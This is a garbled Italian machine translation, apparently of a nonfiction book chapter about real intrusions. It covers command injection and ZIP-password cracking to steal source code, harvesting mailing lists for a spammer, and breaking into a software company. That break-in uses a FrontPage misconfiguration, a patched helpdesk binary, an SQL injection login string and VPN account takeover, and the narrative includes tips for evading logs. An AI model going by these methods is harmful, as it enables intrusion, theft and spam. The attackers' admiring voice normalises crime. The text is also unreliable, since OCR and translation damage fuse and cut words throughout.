"&" Simbolo) dice al programma di fare un comandicéroute a se stesso
(Che € inutile), e reindirizzare I'output di nuhecprovoca l'uscita

mettere essere "caduto nel secchio bit" (cioe, renadialla). Una volta che il
programma ha eseguito questo primo comando, i "&&iboli indicano

c'e un altro comando di shell da eseguire. In guess$o, si tratta di un com-
comando per visualizzare il contenuto della dirgcprincipale dell'unita C -
estremamente utile per l'attaccante perché permidiieo lei a eseguire

i comandi di shell arbitrari con i privilegi del mtm del Web

server e in esecuzione sotto.
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"Mi ha dato tutto I'accesso di cui avevo bisogra' detto Erik. "Ho praticamente avuto

['accesso a tutto cid che sul server. "

Erik si diede da fare. Ben presto si accorse chevglippatori della societa sarebbe

mettere un backup del loro codice sorgente suksergni notte. "E 'stato un
pile -. lI'intero backup é di circa 50 mega "Ergrado di eseguire un

serie di comandi per spostare tutti i file che valaella directory principale di
il server Web e quindi basta scaricare la primaahia@a che aveva

rotto in, il server Web di backup.

Preso!

L'incidente CEO era stato un invito a chiudereudmjo pare, lI'esecutivo aveva

stato sospetto, ma con il suo programma fitto guapamenti e aumentando la furtivita di Erik,

Non c'era stato piu allarmi. Tuttavia, come ha afiprdito sempre di piu
nel cuore del sistema della societa, € diventatalifiicile per Erik

di mantenere un basso profilo. Che cosa é sucdegsne spesso il costo di
spingendo un hack ai limiti mantenendo una presari@ago tempo in un
sistema alieno. Stava cominciando a scaricaralicecsorgente del lungo
programma cercato, quando

Circa a meta strada attraverso ho notato che miwmload interrotto.o
guardo nella directory e il file era andato. Ho zmto a guardare

in alcuni dei file di registro e modificate le daani sono reso conto che questo

ragazzo era sul server in quel tempo a guardaile di log. Sapeva che
stava facendo qualcosa - in pratica, mi ha cattarat

Chiunque aveva rilevato la presenza di Erik nopdrao tempo a cancellando rapidamente



ing file critici. Il gioco era finito. . . 0 era?

Erik scollegato e non tornare per un mese. Ornaas&to

lottando per ottenere il software per molti mesj potrebbe pensare che
sarebbe stato sempre esasperato. Non € cosi, dice.
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Non ho mai frustrato perché e solo piu di una sfi8aio
non si ottiene in un primo momento, e solo pitipguzzle. Non e certamente
frustrante. E 'un po' come un videogioco, comesia un livello di
livello e la sfida di sfidare. E 'solo una partetdtto il gioco.
Erik pratica il suo marchio di fede - uno che cbbastanza secuzione
Verance paga sempre.
Se una cosa non ha funzionato, mi piacerebbe sol@pe qualcosa di diverso, perché io
sapeva che c'era qualcosa che avrebbe funzion&oséinpre qualcuno
cosa che funziona. E 'solo una questione di trochrecosa.
Torna in Enemy Territory
Nonostante la battuta d'arresto, circa un mese dapdi nuovo, collegando
al computer del CEO per un altro sguardo al regidélla chat (ha effettivamente salvato
i suoi log delle chat), per vedere se ci fossette sa qualcuno di reporting
niente di essere violato. Ricordando il giorno &tesin
posizione della societa che era stato avvistaia,9eansionato il registro.
Nessuna menzione di un hacker o di un tentativoauborizzato di scaricare. Lui
tirato un sospiro di sollievo.
Quello che ha fatto trovare al posto era che ata sholto fortunato. Quasi nello
stesso momento, ci sarebbe stata una emergenzmaatelle societa di
clienti. Il ragazzo IT aveva abbandonato qualsa#tsa cosa che stava facendo per affrontare
con la situazione. Erik ha trovato una voce poiithegazzo aveva controllato la
registri ed eseguire una scansione antivirus, mahanono fatto nulla di piu. "E 'stato come lui
ho pensato che sembrava sospetto. Sembrava ungssa, ma non ci riusci
spiegarlo ", cosi aveva appena lasciarlo andare.
Erik si ritiro e attese piu tempo per passare figoitro, ma
pil cautamente, solo durante le ore, quando p@ssere abbastanza certi
che non c'era nessuno intorno.
Pezzo per pezzo ha scaricato l'intero file del@®dbrgente, bounc-
ing trasmissioni attraverso un server intermedigasd in un straniera
Paese - e per una buona ragione, dal momento ayee feicendo tutto questo da casa sua.
Erik ha descritto la sua familiarita con la reteeadale in termini che
puod sembrare sospetto grandioso in un primo momerdae si considera il
quantita di tempo trascorso scovare le innumerguoliei contro di questo com-
il sistema di societa, scomponendola un piccole@adia volta fino a che conosceva la sua
maggior intimita reclusive e stranezze, l'istruei@ertamente si trova all'interno
i limiti della credibilita.
Sapevo che la loro rete meglio di chiunque ci sap&e
hanno avuto problemi, avrei potuto probabilmentedifissato per loro
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meglio di quanto potrebbero. Voglio dire, sapeviaaseente ogni parte del loro



rete dentro e fuori.

Non c'é ancora

Cosa Erik aveva ora, finalmente scaricato in maciarg sul suo computer, € stato il
il codice sorgente per il software server. . . maa ancora in una forma che poteva
aperto e lo studio. Poiché il software e stato gomnde, lo sviluppatore che
memorizzati sul server di backup aveva compresswean file ZIP criptato.

In primo luogo ha provato un programma passwordking semplice ZIP, ma non € riuscito a
intaccare. Tempo per Plan B.

Erik si rivolse a un nuovo e migliorato passwordoker chiamato PkCrack,

che utilizza una tecnica chiamata il "noto attagientext.” Avere

conoscenza di una certa quantita di dati in chtaeofa parte del

archivio crittografato e tutto cio che serve petiftare tutti gli altri file all'interno
I'archivio.

Ho aperto il file ZIP e trovato un file "logo.tif6osi sono andato a loro

sito Web principale e guardo tutti i file denomindgo.tif." |

li scaricato e tutti zippato e trovato uno che

abbinato stesso checksum come quella nel file Zitefo.

Ora Erik aveva il file ZIP protetto e una versiaran protetta del

File "logo.tif". PkCrack voluti solo cinque minyier confrontare questi due ver-
sioni dello stesso file e recuperare la passwood. I& password,

rapidamente decompresso tutti i file.

Dopo centinaia di lunghe notti, Erik finalmente &vil codice sorgente completo che
ERA STATO fame dopo.

Quanto a cio che lo teneva attenersi a questo ¢orper cosi tanto tempo, Erik dice:
Oh, facile, e tutta una questione di essere sekpidde avere una sfida, e

Non piace essere rilevato. Mi piace fare le cosmodo diverso, e molto
tranquillamente. Mi piace trovare i modi piu creatper fare qualcosa.

Certo, il caricamento di uno script € piu facilearta mia strada era veramente molto
raffreddamento. F__ k essendo uno script kiddis peid evitare - un

di hacker.

E che cosa ha fatto con il software e generatochidvi? La risposta

e che lui e Robert, I'eroe della storia che segiaeseguire molto

la stessa routine come ogni altro, la routine chermgdune tra molti

di cracker di tutto il mondo. Troverete la storela sezione chiamata

"Sharing: un mondo di Cracker" verso la fine deglitrdo.
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Nel lontano Australia ci vive un altro di quei sggnche verticali

sono rispettati professionisti della sicurezzaidirgp e diventare un hacker black-hat



di notte, affinando le competenze che pagano taifmteca hacking nella

la maggior parte delle aziende di software rediligel pianeta.

Ma questo particolare uomo, Robert, non puo edaeilenente agganciato in una categoria.
Sembra troppo complesso per questo - di un mdsacting per alcuni software

per il suo divertimento e per soddisfare il sumfi® di una sfida e la

prossimo mese assumendo un progetto per denato shgnera per alcuni

persone come quello che egli stesso i termini ‘spammer sporca”. Non sporca, sara
scoprire, solo perché ha occasionalmente lavo@atespammer; sporco

a causa del tipo di spamming che ha fatto.

"Fare soldi hacking", dice, "e un bel concetto.he(uo

essere auto-giustificazione, ma non aveva remoomdividere la storia con

noi. In realta, ha portato in su senza averlo estu. E fatta luce di esso da coinciso
ing un termine: "Credo che si possa dire che songpacker - un hacker che funziona
per gli spammer. "

Sono stato contattato da un mio amico che ha détuglio vendere alcuni

hard-core bondage porn a migliaia di persone. Hgogino di avere

milioni e milioni di indirizzi e-mail di persone elvogliono

hard-core bondage porn ".

Tu o io potrebbe avere eseguito dalla suggesti®abert "penso su

per un po ™, e poi ha deciso di dare un'occhiajaedlo che potrebbe essere coinvolto. "I
cercato tutti questi siti di bondage hard-corei¢edammettendo che ha fatto

questo nonostante il suo essere "tanto per il disgiella mia ragazza." Ha diretto la
cercare in modo perfettamente lineare: con Goagls, come un altro

portale di ricerca, www.copernic.com, che utilizga motori di ricerca.

| risultati hanno fornito un elenco di lavoro. "higa cosa che voglio da questi

[siti] € che ama il porno bondage, che vuole rice\gi aggiornamenti

da loro, che ha l'interesse in questa merda. "®eiRetava per aiutare

creare lo spam, non aveva nessuna intenzione dreusd di esso ", come il solito cast di
idioti, "l'invio di centinaia di messaggi di postkettronica a tutti e suo fratello se
avevano mai mostrato alcun interesse per l'arganenb.

Ottenere le Mailing List

Molti dei siti web di bondage, Robert ha scopestaya utilizzando un importante
applicazione per la gestione di mailing list ditgstrizione che chiamero
SubscribelList.
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Proprio utilizzando Google avevo trovato qualcuie @veva ordinato una copia
di [SubscribelList], e aveva sul server Web. Persosia stato un
Sito in Taiwan o in Cina.
Il passo successivo é stato ancora piu facile ahtqusi poteva prevedere:
Il loro Web server é stato configurato in modo ésraQualsiasi utente puo visualizzare
la fonte [code] del software. Non era la versioneé recente del
software, ma una versione ragionevolmente recente.
L'errore e stato che qualcuno aveva incautameateidentalmente lasciato un com-
Archivio pressato del codice sorgente sul documpriteipale del Web
server. Robert scaricato la fonte.
Con guesto programma e nomi che avrebbe cattuaaitdesistenti,
Robert capito:
Sarei in grado di inviare messaggi di posta eletita dicendo: "Vieni al mio sito, siamo



con uno speciale sulla fustigazione ed é a metazpré.

Un sacco di gente abbonarsi a queste cose.

Finora, pero, non aveva software mailing-list, meaaa nessuna mailing list.

Si sedette di studiare il codice sorgente di Sulbskist, e alla fine

scoperto un'‘opportunita. La spiegazione tecnicangpticata (vedi

"Insight” alla fine del capitolo).

Simile al modo in cui il cracker della storia prdeate utilizzato il "&" sim-

bol per ingannare un programma in esecuzione icoandi, Robert ha utilizzato un difetto
in "setup.pl." Questa lacuna, chiamato l'iniezitioeckticked variabile

difetto "é basato sul programma di installaziorggéso, lo script setup.pl,

non adeguatamente convalidare i dati passati a @ssdifferenza € in OPERATE

sistema opera-. || metodo di Erik funziona con Véwd; Di Linux con Robert.)

Un malintenzionato puo inviare una stringa di dag avrebbe corrotto un

valore memorizzato in una variabile in modo tale hscript puo essere ingannato

nella creazione di un altro script Perl utilizzagr eseguire comandi arbitrari.

Grazie a questa svista programmatore, un utenieteraionato potrebbe iniettare shell
comandi.

Gli sciocchi metodo setup.pl a pensare che I'adtstecha appena

installato SubscribeList e vuole fare I'impostaeiamziale. Robert sarebbe

in grado di utilizzare questo trucco con qualssagiieta che gestisce la versione vulnerabile di
il software. Come ha fatto a trovare una socidtdasiu che corrispondono alla descrizione?
Il suo codice, Robert dice, € "un po 'di un bendente, davvero una cagna di

scrivere. "Quando la sua sceneggiatura ebbe fsai@bbe pulire dopo se stessa e
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quindi impostare tutte le variabili di configuram@di nuovo in modo che nessuno poteva dire
niente
successo. "E per quanto io sappia, nessuno ha gueticesso."

Nessun hacker premuroso avrebbe questi file ingiegitamente alla sua
indirizzo in modo che possa essere tracciata.

Sono un grande fan del Web. Amo il Web. || Webdoraaonimo

mous. Si puo andare in un internet café e nessarmbis

ilf__ ksiete. La mia roba é rimbalzato in tuttonondo a pochi

i tempi e non e connessioni dirette. E 'piu di@aa rintracciare, e

ci sara solo forse una o due righe nel file di tbgjla [societa].

Porn Payoff

Robert aveva scoperto che molti dei siti di bondagizzano lo stesso mailing-
software lista. Con il suo programma modificatodhenira i loro siti e afferro
loro mailing list, che poi girato al suo amico sjpammer.

Robert voleva capire che "non stavo spamming pergoettamente "

La campagna é stata incredibilmente efficace. Quaedspamming direttamente
a persone che gia sapete "piace molto questa m@grelalisare Robert

frase colorata), il tasso di risposta e stato darce

Sei solito guardando [un tasso di risposta di] @12 per cento.

[Eravamo] ottenere il 30 per cento almeno di mi@ome dal 30 al 40

per cento delle persone avrebbe comprato. Per ssatai spamming, cioé
assolutamente fenomenale.

Tutto up, devo aver portato probabilmente comeac#el5, $ 50.000

Stati Uniti, e sono tornato un terzo di quella.



Dietro il successo di questa storia sordida siarbguccesso degli sforzi di Robert
nel raccogliere mailing list di persone disposgbarsare soldi per questo

tipo di materiale. Se i numeri che riferito a none esatti, € un

misura dispiaciuto del mondo in cui viviamo.

"Ho avuto”, ha detto, "tra i 10 ei 15 milioni dima"

R

OBERT IL

M
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Nonostante questo episodio, Robert insiste chediosono un po ‘orribile sporco
spammer; Sono una persona molto onesto. "Il resdta dua storia sostiene

il reclamo. Lavora in sicurezza per un "molto relgp e onesto

societa "e prende su progetti esterni come indipeteddi sicurezza con-
consulente. E lui & un autore pubblicato su temsialirezza.
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L'ho trovato particolarmente verbale nell'esprimesgoi atteggiamenti di hacking:
Mi piace molto essere sfidato contro un sistema piace combattere
il sistema a livello configurazionale e livello sale, piuttosto
di un livello strettamente tecnico - a livello salei, significato ottenendo
in [testa del] la persona dietro il computer.
Robert ha una lunga esperienza in pirateria. Héocitn amico (un
Di hacker americano il cui nome non voleva rivelathe usato per avere
un gioco con Robert.
Entrambi abbiamo usato per [incidere in] un sacé®aokcieta di sviluppo, come
persone che sono state la creazione di controliivecX e controlli Delphi,
e piccoli strumenti interessanti per la programnasud. Vorremmo trovare un magazine
sul tema e non c'é un annuncio su ogni altra pagiinguesti nuovi
prodotti. E vorremmo vedere se siamo riusciti a trovare quiatcche non avevamo
hacked. Soprattutto giochi.
Egli ha "vagato in giro" le reti interne di maggaygioco soft
aziende ware e codice sorgente ottenuto ad al@imoib giochi.
Alla fine, lui e il suo compagno di hacker ha coomto a scoprire che "abbiamo avuto nonostante
tutto, un‘attivita
alleato rotto in praticamente tutti che era la pigith ogni nuovo
prodotto la fuori. 'Abbiamo fatto questo, questeesto. . . Siamo ancora
cercando di entrare in questo, ma ci hanno datstqué
Eppure, per Robert, una zona ritenuta interessgatpgrodotti software per
quello che chiama "post produzione video" - inipatare, i prodotti utilizzati
per creare lI'animazione utilizzata nei film.
Amo il caos coinvolto in cid che queste personadag'e un po'
geni che fanno queste cose. Mi piace leggere esapeme
funziona, perché sembra cosi estraneo quandodaaida. Voglio dire, quando
si guarda [il film d'animazione] in televisione grabilmente andare, "Santo
f Kk, questo e davvero qualcosa. "
Quello che trova particolarmente intrigante stardaado il codice, a un puro
livello matematico - "le equazioni e le funzionigementalita
dietro le persone che creano queste cose. E 'feraleé
Tutto questo lo ha istituito per quello che consadésuo mod piu memorabile.



Software Temptation

Nel 2003, Robert stava leggendo attraverso un amouwin prodotto in un soft-
magazine ware e venne su un nuovo prodotto peftifaneeo digitale
Capitolo 8 vostra proprieta intellettuale non eisic

169

Pagina 191
effetti, illuminazione songwriter - rendendo sguawera luce, con texture [che]
erano incredibilmente liscia. "
Il punto vendita tutto questo prodotto € che éostétizzato in una recente
grande film d'animazione - una delle progettazioneglellazione e caglio
Strumenti dering hanno usato.
Quando ho sentito parlare, sembrava davvero coallcine persone da
i cerchi sono stato in giro, come in rete, erandtmoteressati
nel software. Un sacco di gente ha voluto metemani su di esso.
Tutti vogliono ottenere questa applicazione perldifficile da ottenere, &
molto costoso - come in forse due o trecentomila.
E 'utilizzato da, come, Industrial Light and Maggcg'é proba-
Bly, come, solo quattro o cinque altre aziendemnehdo che hanno
comprato.
Comunque, ero davvero entusiasta di ottenere quseftevare e mi incammino
sul corpo della societa. Mi limiterod a li chiamocseta X. E che
bene? La societa X e stato interamente basato eridme la loro intera
rete é stata centralizzata.
Il suo obiettivo non era solo quello di ottenersdftware per se stesso, ma di condividerla dove
sarebbe disponibile a milioni di utenti Interneturtto il mondo.
Ha trovato I'azienda aveva "un firewall sul davaatiin po 'stretto rete
lavoro. Avevano un sacco di server, e piu serves.\W® indovinato da
cio che, probabilmente, avevano forse 100, 150ndipeti. "
Alla scoperta Nomi dei server
Robert ha una strategia standard quando sta cercipenetrare in un aziendale
rete che e di dimensioni significative. Egli "vapdal modo in cui si prendono cura di
la necessita per le persone di essere in gradutrdire nella loro rete. Una grande azienda
ha una molto maggiore sfida in questo di una p&cse si dispone di cinque
dipendenti, € possibile inviare una e-mail, giusto&lternativa, € possibile vederli tutti
e dire, 'Questo € il modo di connettersi al sedeecasa, questo € il modo
si ottiene la tua email da casa. ™
Ma una grande azienda di solito hanno un help degkalche esterni
risorsa che la gente puo andare a quando stannd@ua problema al computer.
Robert capisce che una societa con un numero isigtivd di dipendenti
avra una serie di istruzioni da qualche parte bagbdmente dal suo aiuto
scrivania - spiega come accedere ai file e la palstironica in modalita remota. Se fosse riusgito
trovare
tali istruzioni, si potrebbero probabilmente imparapassi per ottenere sul
rete dall'esterno, come quello che € necessarsofivare per connettersi al
rete interna sulla VPN aziendale. In particolagh, gperava di
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scoprire che cosa i punti di accesso che gli spaigri utilizzati per accedere alla sviluppo



Sistema mento dall'esterno, perché avrebbero aceéssolto-

codice sorgente ambita.

Cosi la sua sfida in questa fase é stato quetimdare la sua strada per I'nelp desk.
Ho iniziato a usare una piccola utility chiamata pfeer Network, qualcuno

cosa che io ho scritto. Va fondamentalmente sedalergttraverso una lista

di nomi host tipici. o lo uso come mio resolver ®bkquenziale.

Il Mapper Network identifica gli host e forniscedirizzo IP per

ciascuno. Breve script di Robert Perl semplicemantiato giu un elenco di comuni
hostname usati e controllati per vedere se esistavda societa oggetto del
dominio. Cosi, per un attacco a una societa chetitigitaltoes,” lo script
potrebbe cercare web.digitaltoes.com, mail.digitdtcom, e cosi via.

Questo esercizio aveva il potenziale di scoprirénglirizzi IP nascosti o rete
blocchi di lavoro che non sono stati facilmentenitfecati. In esecuzione dello script, che
potrebbe tornare risultati cercando come la seguent

beta.digitaltoes.com

Indirizzo IP # 1: 63.149.163.41 ...

ftp.digitaltoes.com

Indirizzo IP # 1: 63.149.163.36 ...

intranet.digitaltoes.com

Indirizzo IP # 1: 65.115.201.138 ...

mail.digitaltoes.com

Indirizzo IP # 1: 63.149.163.42 ...

www.digitaltoes.com

Indirizzo IP # 1: 63.149.163.36 ...

Cio avrebbe rivelato che la nostra societa fittidigitaltoes" ha alcuni

server nel blocco rete 63,149, ma avevo messoiisolié sul server in

il blocco di rete 65,115 con il nome di "intranetime loro interno

rete.

Un piccolo aiuto da helpdesk.exe

Tra i server Robert ha scoperto con la sua Mappéndik e stato il

guella che aveva sperato: helpdesk.companyX.comn@uha cercato di andare a
il sito, pero, una finestra di login apparve chigdie un nome utente e una
Password, limitando I'accesso agli utenti autotizza

L'applicazione helpdesk era su un server che edégdieun antico ver-

sione di software, di Microsoft Internet Informati&erver (l1S), che

Robert sapeva aveva un numero di vulnerabilita. @opo 'di fortuna, si potrebbe
trovare un'utile uno che non era stato patch.
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Nel frattempo ha anche scoperto un buco. Alcune&oamministrazione
tor aveva permesso MS FrontPage in modo tale dbeagle possa caricare o
scaricare file dalla directory principale in cuneamemorizzati i file del server Web.
(Ho familiarita con il problema. Uno dei server Wemia sicurezza
societa di avvio e stato violato utilizzando unénewabilita simile, perché il vol-
amministratore di sistema volon- che mi stava damtiomano non ha correttamente
configurare il sistema. Fortunatamente, il servarun sistema standalone, su
proprio segmento di rete.)
Riconoscendo che questo errore gli ha dato la Ipiissidi scaricare e
caricare file sul server, ha iniziato a guardamaed server e stato configurato.



Il filo pit comune con alcuni server IIS stupidilge

[Chi eresse] abilitata authoring FrontPage.

E, infatti, questo sito aveva un debole. Distribaz di Microsoft FrontPage

(Un programma applicativo utilizzato per crearalfaente e modificare i documenti HTML)
senza impostare i permessi dei file corretti eleeuma svista da un

amministratore di sistema, a volte volutamente igométo in questo modo per
convenienza. In questo caso, significava chiunagueva leggere non solo i file, ma
potrebbe anche caricare file in qualsiasi directay protetto. Robert & stato alimentato.
Stavo guardando e andare, "Santa merda, posso teggmodificare ogni

pagine sul server senza bisogno di un nome uteptssword. "

Cosi mi e stato in grado di accedere e guardardilectory principale del server Web.
Robert pensa che la maggior parte degli hackeioperdccasione qui.

Il fatto & che quando la gente istituito una retsachnner per un

Server, spesso non cercano configurazioni errateuso con

estensioni di server come FrontPage. Guardano {etere che tipo di

Server €] e dire: "Beh, € solo Apache" o0 "E 'sof'l

E Mancano fare il loro lavoro molto piu facile seoRtPage ha

stato configurato male.

Non era tanto una benedizione come aveva predatanomento che "non c'era
davvero un bel po 'sul server ". Tuttavia, ha motdte un applicazione chiamata
helpdesk.exe sarebbe venuto quando ha avuto aclessmattraverso il suo browser.
Questo potrebbe rivelarsi molto utile, ma necessamilogin con password.

Cosi, sto guardando pensando come il k pogaocare questo?

Una cosa che non mi piace fare e caricato un diteodi un

Web server, perché se gli amministratori guardateaaerso il loro Web
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tronchi e vedere un migliaio di persone di andateetpdesk.exe e tutto ad un
improvviso un ragazzo nel Pacifico meridionale [st& two.exe o qualche
altra cosa, che sarebbe farli pensare due voltes@i? Cosi cerco di
rimanere fuori dei tronchi.

L'applicazione helpdesk consisteva in un unico @ibdg e un

libreria di collegamento dinamico (DLL) di file [& con estensione .DLL contengono
raccolta di Windows funzioni dell'applicazione pwss telefonare).

Con la possibilita di caricare i file alla radicesldy un utente malintenzionato potrebbe in mon-
ily caricare un semplice script che permette doliei a eseguire comandi

attraverso il proprio browser. Ma Robert non e soiattaccante. Egli vanta

se stesso di essere furtivo, lasciando poche ainassaccia dei log del server Web.
Invece di caricare uno script personalizzato, laaisato il

helpdesk.exe e file helpdesk.dll al suo computemapalizzare come |l

applicazione ha lavorato, basandosi su una palteesie esperienza di fondo. "Ho

fatto un sacco di applicazioni di reverse engimage guardare le cose in

assembler ", quindi sapeva come fare per lavo@mdacC compilato

codice e invertendo la maggior parte di nuovo abztore.

Il programma si rivolse a stato chiamato IDA Photéractive

Disassembler (venduto da www.ccso.com), utilizzedme egli la descrive, "di un sacco
di, come, le aziende di virus e cacciatori di wocercando di decompilare qualcuno
cosa ad un livello assembler e leggere e capirbogelee sta facendo. "

Lui decompilato helpdesk.exe e, approvando il laveseguito da pro-



programmatori professionali, ha deciso che erattsabbastanza bene."

Dalla Borsa del Hacker di Tricks:

I'attacco "SQL Injection”

Una volta aveva il programma decompilato, Robertsaminato il codice per vedere
se l'applicazione helpdesk era suscettibile di "S{dction", un

metodo di attacco che sfrutta una svista di programione comune. A Sicurezza-
coscienza programmatore sterilizzare qualsiasiyogeelt'utente inserendo il codice

che, tra le altre cose, i filtri alcuni carattguesiali come il

apostrofo, virgolette, e di maggiore e minore dilsoli.

Senza filtro personaggi come questi, la porta @se® lasciata aperta per

un utente malintenzionato di ingannare l'applicagim esecuzione manipolato data-
query di base che possono portare a un compromessgaeto del sistema.

Infatti, Robert si era reso conto che l'applicaeibelpdesk aveva davvero

effettuato i controlli igienico-sanitari adeguaéirpmpedire a qualcuno di utilizzare SQL
iniezione. La maggior parte degli hacker avreblixsta caricare uno script ASP per il Web
server e fare con essa, ma Robert era piu preccdigssere

convertire che sfruttando una semplice vulnerabgger compromettere i suoi obiettivi.
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Ho pensato, "E 'molto divertente, che é piuttostedo. Sto andando godere
guesto. "
Ho pensato a me, "Beh, io sto andando ad attivgye Bjection by
avvitando il controllo di validita. "Ho trovato latringa di cui il
caratteri non validi sono stati mantenuti e sontti ttambiati, credo
era uno spazio o una tilde () o qualcos'altro clo@ ero andando
sia utilizzando, ma allo stesso tempo non interebb® nessuno.
In altre parole, modifico il programma (usando dite esadecimale per
"Rompere" la routine progettata per verificare ingell'utente) in modo che il tere speciale
ca- non sarebbe piu essere respinta. In questo,pottebbe segretamente fare
SQL injection senza modificare il comportamentdalgthiesta di un punto qualsiasi
altro. Un altro vantaggio era che gli amministratmm avrebbero
probabilmente controllare l'integrita dell'applicare helpdesk, poiché non vi sarebbe
essere segni evidenti che era stato manomesso.
Robert poi inviato sua versione modificata delllag@zione helpdesk per la
Web server, che sostituisce la versione originhlaodo in cui alcune persone raccogliere
francobolli, cartoline, scatole di fiammiferi o llebghi sono stati, gli hacker qualcuno
conserva sempre non solo il bottino delle loroziwni, ma il codice hanno usato come
bene. Robert ha ancora una copia binario completdile eseguibile che ha creato.
Da quando stava lavorando da casa (coraggiosa) e reccomandato, a meno
si desidera ottenere sballato), ha caricato |&suava e migliorata” versione di
I'applicazione helpdesk attraverso una catenaakypserver - che sono
server che agiscono come mediatore tra il compuliten utente e un computer
lui o lei desidera accedere). Se un utente effeftzarichiesta di una risorsa da
computer A, questa richiesta e rivolta al servexprche rende il
richiesta, ottiene la risposta dal computer A, epatra il
risposta al client.
| server proxy sono in genere utilizzati per |'asmeWorld Wide Web risorse
dall'interno di un firewall. Robert ha aumentatsle sicurezza utilizzando diversi delega
server situati in diverse parti del mondo, per diumie la probabilita che



poteva essere identificato. | cosiddetti "proxyréipsono comunemente usati come
qguesto per mascherare I'origine di un attacco ndico.

Con la sua versione modificata I'helpdesk appla@zifunzionante,

Robert collegato al sito di destinazione usandgod browser Internet. Quando
presentato con un nome utente modulo di inputesthie password,

lanciato un semplice attacco SQL injection, comgvavprevisto. Sotto normale
circostanze, una volta che un utente entra un nderge e una password - per esempio,
"Davids" e "z18M296q" - I'applicazione utilizza agieingressi a general-

eRate un'istruzione SQL come la seguente:

selezionare record da utenti dove user = "davigelssword = 'z18M296q'
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Se il campo utente e il campo password corrisponddlie voci di database, quindi
l'utente & connesso Questo € il modo in cui dowdbbzionare.; SQL di Robert
attacco iniezione andata cosi: nel campo Nome ejtentro
'O dove password come'% -
Per la password, € entrato nella dichiarazioneticken
'O dove password come'% -
L'applicazione utilizzato questi ingressi per ganemun'istruzione SQL simile
al seguente:
selezionare record da utenti dove user =" o gagsword
come '%' e la password =" o dove password come '%
L'elementoo dove password comeétce SQL per restituire il record se
la password aulla (il "%" e un jolly). Constatando che il
Password ha fatto fronte a questa richiesta seamsla domanda allora
Robert accettato come un utente legittimo, propoime se avesse di ingresso autentico utente
credenziali. E poi lo registrato con le credenazialia prima persona
elencati nel database degli utenti, di solito ummamistratore. Che si é rivelato
nel caso di specie. Robert trovo non solo I'acgessal login
con privilegi di amministratore.
Da li, e stato in grado di vedere il messaggiog@teiho che un dipendente
o0 altro utente autorizzato vede dopo l'access@saonesso in. Da una serie
di questi messaggi, ha spigolato informazioni sumari di dial-up per chiamare
nella rete e, in particolare, collegamenti ipetabtper aggiungere e rimuovere
gli utenti del gruppo VPN in Windows. La societdizzava
Servizi VPN di Microsoft, che & impostato in modeed dipendenti utilizzano la loro
Nomi di account e password di Windows per accededal momento che Robert era
registrato per I'applicazione helpdesk come undi degministratori, questo
gli ha dato la possibilita di aggiungere utentjalppo VPN e cambiare password utente
parole per gli account di Windows.
Progredire. Tuttavia, fino ad ora, € stato appdiedteato I'accesso a un'applicazione come
un amministratore; che non lo hanno ottenuto piinei alla loro codice sorgente. Il suo prossimo
obiettivo era quello di ottenere I'accesso alla neterna attraverso la loro VPN
impostare.
Proprio come un test, attraverso il menu helpdesfgrbvato a cambiare la password
parola di quello che sembrava essere un contospeso, e ha aggiunto al
Gli utenti VPN e il gruppo di amministratore - he& significa che le sue attivita
sarebbe meno probabilita di essere notato. Haccalatini dettagli del loro
Configurazione VPN, in modo da poter poi "VPN irug3to € un bene, ma gioca



un po ‘lento. "
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Ho ottenuto in circa 01:00 il loro tempo. Con meesdo nel
Australia, il fuso orario € molto bello. Puo essé&r80 in America,
ma durante la giornata di lavoro qui. Volevo andarequando ero
che la rete era vuota, non volevo che nessuno Gsone
persone a notare questo. Forse hanno segnalazitiiva di tutti
che sta andando in. Voglio solo essere sicuro.
Robert ha un senso che capisce come I'lIT e laezazardella rete
persone lavorano, e non € molto diverso da tuttlgi nel
mondo del lavoro. "L'unico modo per loro di notfreo andare online]
sarebbe stato passare attraverso i registri atéagen”La sua visione di IT e
uomini della sicurezza non & molto lusinghiero. Yemte non legge i log ogni morn-
ing. Quando si arriva alla scrivania, ti siedi,mutere un caffe, leggere alcuni
| siti web di interesse personale. Non si va iaggere i log e vedere chi
cambiato le loro password di ieri. "
Una delle cose che aveva notato nei suoi sfotzadking, Robert dice, é
che "quando si cambia qualcosa su un sito, la geptenderlo
subito, altrimenti non interferiranno affatto. #rabiamento che ho fatto a quel Web
applicazione sarebbe stato notato se avessersgmstiqualcosa
come Tripwire, "ha detto, riferendosi a un'applioae che verifica la
integrita dei programmi di sistema e altre appligazfacendo un cripto-
checksum grafica e nel confronto con una tabellaltiri noti.
"Avrebbero notato che I'eseguibile era cambiato."
A quel punto si sentiva rassicurato, citando irtieée ormai familiare su
"M & M di sicurezza" - duri all'esterno ma molto hado e gommoso sulla
all'interno. "Nessuno si preoccupa davvero se gualguarda intorno loro rete
perché si e all'interno dei locali. "Una volta c®e riuscito a penetrare
la sicurezza perimetrale, sei abbastanza beneagycatsiitamente. "(I mezzi frase
che una volta che un attaccante e al suo inteoom ée risorse come qualsiasi autorizzazione
ized utente, e difficile rilevare la sua attivitmautorizzate.)
Ha trovato che I'account ha dirottato (cambiatpdasword di)
attraverso l'applicazione helpdesk lui consentiltagete attraverso
il servizio Microsoft VPN. Il suo computer é statoi collegato al
rete interna aziendale, proprio come se si stadszando un PC fisicamente
mente collegato alla rete nella sede della societa.
Finora, era stato attento a non fare nulla cheepbt creare voci di registro a
amministratore di sistema coscienzioso potrebbarape lui & stato vela gratuito.
Una volta connesso alla rete interna della socidert mappato
Nomi di computer Windows a loro indirizzi IP, traeamacchine con
nomi come FINANCE, backup2, WEB, e Helpdesk. Ha pa&p
altri con nomi di persone, a quanto pare i compaéesingoli
dipendenti. A proposito di questo, ha ribadito untp fatto da altri in queste pagine.
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Quando si trattava di nomi dei server, qualcunazienda aveva un



senso dell'umorismo stravagante familiare in ghrdlta tecnologia. Il trend iniziato
a Apple Computer nei suoi primi giorni del boome& Jobs, con la sua creativita
striscia e il suo break-tutto-il-rules approccia,deciso che la conferenza

camere negli edifici aziendali non sarebbero chta@i?A o Sesto

Piano Sala Conferenze o qualsiasi altra cosatili gibrni cosi e noioso.

Invece, le camere sono stati nominati dopo i pergghdei cartoni animati in un unico edificio,
stelle del cinema in un altro, e cosi via. Robarsboperto che il software com-
azienda aveva fatto qualcosa di simile con alcenlato server, tranne che

con la loro connessione con il settore animazionemi scelsero

inclusi i nomi di famosi personaggi di animazione.

Non era uno dei server con un nome divertentech#tiaeva,

pero. Era quello chiamato Backup?2. La sua ricerpacgsiusse un

gemma: una condivisione di rete aperta chiamatardgldove alcuni dipendenti avevano
sostenuto un sacco di suoi file. Questa personarseessere qualcuno

sentirsi abbastanza comodo e non molto preoccppata sicurezza.

